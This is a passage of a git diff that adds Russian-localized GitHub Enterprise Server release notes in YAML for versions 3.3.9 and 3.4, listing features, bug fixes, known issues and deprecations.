учитывать, что на странице обзора репликации в консоли управления отображается информация о текущей конфигурации репликации, а не о текущем состоянии репликации.' + - 'При включении {% data variables.product.prodname_registry %} необходимо уточнить, что использование маркера SAS в качестве строки подключения в настоящее время не поддерживается.' + - 'Пакеты поддержки теперь включают количество строк в таблицах, хранящихся в MySQL.' + - 'При определении сетей репозитория для планирования обслуживания мы больше не учитываем размер недоступных объектов.' + - 'Поле ответа run_started_at теперь включено в [API выполнений рабочего процесса](/rest/actions/workflow-runs) и полезные данные веб-перехватчика события workflow_run.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/9.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/9.yml new file mode 100644 index 000000000000..f834495f790d --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/9.yml @@ -0,0 +1,26 @@ +date: '2022-06-09' +sections: + security_fixes: + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'Внутренний скрипт для проверки имен узлов в файле конфигурации {% data variables.product.prodname_ghe_server %} возвращал ошибку, если строка имени узла начиналась с "." (знака точки).' + - "В конфигурациях высокого уровня доступности, где имя основного узла было длиннее 60\_символов, MySQL не удавалось настроить" + - 'Аргумент --gateway был добавлен в команду ghe-setup-network, чтобы разрешить передачу адреса шлюза при настройке параметров сети с использованием командной строки.' + - "Вложенные изображения, которые были удалены, возвращали ошибку \"500\_— внутренняя ошибка сервера\" вместо ошибки \"404\_— не найдено\"." + - 'Расчет "максимального количества фиксаций во всем экземпляре", указанный на панели администратора сайта, был неверным.' + - 'Неверная запись в базе данных для реплик репозитория вызывала повреждение базы данных при выполнении восстановления с использованием {% data variables.product.prodname_enterprise_backup_utilities %}.' + changes: + - 'Оптимизировано включение метрик при создании пакета поддержки кластера.' + - 'В конфигурациях высокого уровня доступности, где Elasticsearch сообщал о действительном желтом статусе, изменения, внесенные в предыдущем исправлении, блокировали команду ghe-repl-stop и не позволяли остановить репликацию. Использование ghe-repo-stop --force теперь заставит Elasticsearch останавливаться, когда служба находится в нормальном или допустимом желтом статусе.' + - 'При использовании ghe-migrator или экспорте из {% data variables.product.prodname_dotcom_the_website %} миграции не удавалось экспортировать вложения запросов на вытягивание.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/0-rc1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/0-rc1.yml new file mode 100644 index 000000000000..534c6d7f00fc --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/0-rc1.yml @@ -0,0 +1,286 @@ +date: '2022-02-15' +release_candidate: true +deprecated: true +intro: | + {% note %} + + **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. + + {% endnote %} + + For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + + > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed. + > + > **John "Ralph" Wiebalk 1986–2021** + +sections: + features: + - heading: Secret scanning REST API now returns locations + notes: + # https://github.com/github/releases/issues/1642 + - | + {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation. + + - heading: Export license data of committer-based billing for GitHub Advanced Security + notes: + # https://github.com/github/releases/issues/1757 + - | + Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)." + + - heading: GitHub Actions reusable workflows in public beta + notes: + # https://github.com/github/releases/issues/1541 + - | + You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)." + + - heading: Dependabot security and version updates in public beta + notes: + # https://github.com/github/releases/issues/2004 + - | + {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + + changes: + - heading: Administration Changes + notes: + # https://github.com/github/releases/issues/1657 + - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size. + + # https://github.com/github/releases/issues/2062 + - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period. + + - heading: Performance Changes + notes: + # https://github.com/github/releases/issues/2031 + - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation. + + - heading: Notification Changes + notes: + # https://github.com/github/releases/issues/1801 + - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)." + + # https://github.com/github/releases/issues/1714 + - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.' + + - heading: Organization Changes + notes: + # https://github.com/github/releases/issues/1509 + - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)." + + # https://github.com/github/releases/issues/1883 + - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation. + + - heading: Repositories changes + notes: + # https://github.com/github/releases/issues/1944 + - | + A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now: + + * Search all members, teams and collaborators who have access to the repository. + * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role. + * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access. + + # https://github.com/github/releases/issues/1748 + - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.' + + # https://github.com/github/releases/issues/1739 + - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)." + + # https://github.com/github/releases/issues/1776 + - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page. + + - heading: 'Releases changes' + notes: + # https://github.com/github/releases/issues/1723 + - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."' + + # https://github.com/github/releases/issues/1606 + - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + + - heading: 'Markdown changes' + notes: + # https://github.com/github/releases/issues/1779 + - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like S, G C, and . (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)." + + # https://github.com/github/releases/issues/1727 + - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)." + + # https://github.com/github/releases/issues/1761 + - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)." + + # https://github.com/github/releases/issues/1758 + - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)." + + # https://github.com/github/releases/issues/1686 + - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)." + + # https://github.com/github/releases/issues/1754 + - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed. + + # https://github.com/github/releases/issues/1636 + - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments. + + - heading: 'Issues and pull requests changes' + notes: + # https://github.com/github/releases/issues/1731 + - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request. + + # https://github.com/github/releases/issues/1663 + - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)." + + - heading: 'Branches changes' + notes: + # https://github.com/github/releases/issues/1526 + - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation. + + # https://github.com/github/releases/issues/1759 + - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)." + + # https://github.com/github/releases/issues/1911 + - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + + # https://github.com/github/releases/issues/1845 + - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)." + + # https://github.com/github/releases/issues/1850 + - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)." + + # https://github.com/github/releases/issues/1796 + - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)." + + - heading: 'GitHub Actions changes' + notes: + # https://github.com/github/releases/issues/1906 + - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + + # https://github.com/github/releases/issues/1667 + - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)." + + # https://github.com/github/releases/issues/1668 + - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + + # https://github.com/github/releases/issues/1615 + - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)." + + # https://github.com/github/releases/issues/1785 + - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.' + + # https://github.com/github/releases/issues/1799 + - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."' + + # https://github.com/github/releases/issues/1782 + - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional. + + # https://github.com/github/releases/issues/1919 + - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order. + + # https://github.com/github/releases/issues/1753 + - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation. + + - heading: 'Dependabot and Dependency graph changes' + notes: + # https://github.com/github/releases/issues/1520 + - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files. + + # https://github.com/github/releases/issues/1921 + - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)." + + # https://github.com/github/releases/issues/1717 + - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.' + + - heading: 'Code scanning and secret scanning changes' + notes: + # https://github.com/github/releases/issues/1802 + - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)." + + # https://github.com/github/releases/issues/1790 + - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)." + + # https://github.com/github/releases/issues/1732 + - | + The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)." + + # https://github.com/github/releases/issues/1567 + - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)." + + # https://github.com/github/releases/issues/1764 + - | + Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API: + + * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis. + * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)." + * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation. + * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)." + * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)." + * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission. + + For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation. + + # https://github.com/github/releases/issues/1943 + - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.' + + # No security/bug fixes for the RC release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - Actions services needs to be restarted after restoring appliance from backup taken on a different host. + + deprecations: + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.1 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of the Content Attachments API preview + notes: + # + - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + + - heading: Deprecation of the Codes of Conduct API preview + notes: + # https://github.com/github/releases/issues/1708 + - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/0.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/0.yml new file mode 100644 index 000000000000..8f3df3ef1822 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/0.yml @@ -0,0 +1,314 @@ +date: '2022-03-15' +intro: | + + For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + + > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed. + > + > **John "Ralph" Wiebalk 1986–2021** + +sections: + features: + - heading: Secret scanning REST API now returns locations + notes: + # https://github.com/github/releases/issues/1642 + - | + {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation. + + - heading: Export license data of committer-based billing for GitHub 